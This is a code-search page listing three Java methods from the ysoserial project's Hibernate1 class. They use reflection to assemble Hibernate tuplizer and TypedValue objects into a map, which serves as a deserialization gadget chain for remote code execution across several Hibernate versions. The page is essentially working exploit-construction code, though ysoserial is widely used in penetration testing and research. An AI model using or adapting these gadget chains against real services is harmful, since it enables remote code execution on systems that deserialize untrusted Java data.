Search in sources :

Example 1 with PojoComponentTuplizer

use of org.hibernate.tuple.component.PojoComponentTuplizer in project ysoserial by frohoff.

the class Hibernate1 method makeCaller.

static Object makeCaller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
    PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
    Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
    ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
    Reflections.setFieldValue(t, "componentTuplizer", tup);
    Reflections.setFieldValue(t, "propertySpan", 1);
    Reflections.setFieldValue(t, "propertyTypes", new Type[] { t });
    TypedValue v1 = new TypedValue(t, null);
    Reflections.setFieldValue(v1, "value", tpl);
    Reflections.setFieldValue(v1, "type", t);
    TypedValue v2 = new TypedValue(t, null);
    Reflections.setFieldValue(v2, "value", tpl);
    Reflections.setFieldValue(v2, "type", t);
    return Gadgets.makeMap(v1, v2);
}
Also used : ComponentType(org.hibernate.type.ComponentType) AbstractComponentTuplizer(org.hibernate.tuple.component.AbstractComponentTuplizer) PojoComponentTuplizer(org.hibernate.tuple.component.PojoComponentTuplizer) TypedValue(org.hibernate.engine.spi.TypedValue)

Example 2 with PojoComponentTuplizer

use of org.hibernate.tuple.component.PojoComponentTuplizer in project ysoserial by frohoff.

the class Hibernate1 method makeHibernate3Caller.

static Object makeHibernate3Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
    // Load at runtime to avoid dependency conflicts
    Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
    Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
    Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
    PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
    Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
    Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
    ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
    HashMap hm = new HashMap();
    hm.put(EntityMode.POJO, tup);
    Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[] { Map.class }, new Object[] { hm });
    Reflections.setFieldValue(t, "tuplizerMapping", emtm);
    Reflections.setFieldValue(t, "propertySpan", 1);
    Reflections.setFieldValue(t, "propertyTypes", new Type[] { t });
    Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
    Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
    Reflections.setFieldValue(v1, "value", tpl);
    Reflections.setFieldValue(v1, "type", t);
    Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
    Reflections.setFieldValue(v2, "value", tpl);
    Reflections.setFieldValue(v2, "type", t);
    return Gadgets.makeMap(v1, v2);
}
Also used : ComponentType(org.hibernate.type.ComponentType) HashMap(java.util.HashMap) AbstractComponentTuplizer(org.hibernate.tuple.component.AbstractComponentTuplizer) PojoComponentTuplizer(org.hibernate.tuple.component.PojoComponentTuplizer)

Example 3 with PojoComponentTuplizer

use of org.hibernate.tuple.component.PojoComponentTuplizer in project ysoserial by frohoff.

the class Hibernate1 method makeHibernate45Caller.

static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
    PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
    Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
    ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
    Reflections.setFieldValue(t, "componentTuplizer", tup);
    Reflections.setFieldValue(t, "propertySpan", 1);
    Reflections.setFieldValue(t, "propertyTypes", new Type[] { t });
    TypedValue v1 = new TypedValue(t, null);
    Reflections.setFieldValue(v1, "value", tpl);
    Reflections.setFieldValue(v1, "type", t);
    TypedValue v2 = new TypedValue(t, null);
    Reflections.setFieldValue(v2, "value", tpl);
    Reflections.setFieldValue(v2, "type", t);
    return Gadgets.makeMap(v1, v2);
}
Also used : ComponentType(org.hibernate.type.ComponentType) AbstractComponentTuplizer(org.hibernate.tuple.component.AbstractComponentTuplizer) PojoComponentTuplizer(org.hibernate.tuple.component.PojoComponentTuplizer) TypedValue(org.hibernate.engine.spi.TypedValue)

Aggregations

AbstractComponentTuplizer (org.hibernate.tuple.component.AbstractComponentTuplizer)3 PojoComponentTuplizer (org.hibernate.tuple.component.PojoComponentTuplizer)3 ComponentType (org.hibernate.type.ComponentType)3 TypedValue (org.hibernate.engine.spi.TypedValue)2 HashMap (java.util.HashMap)1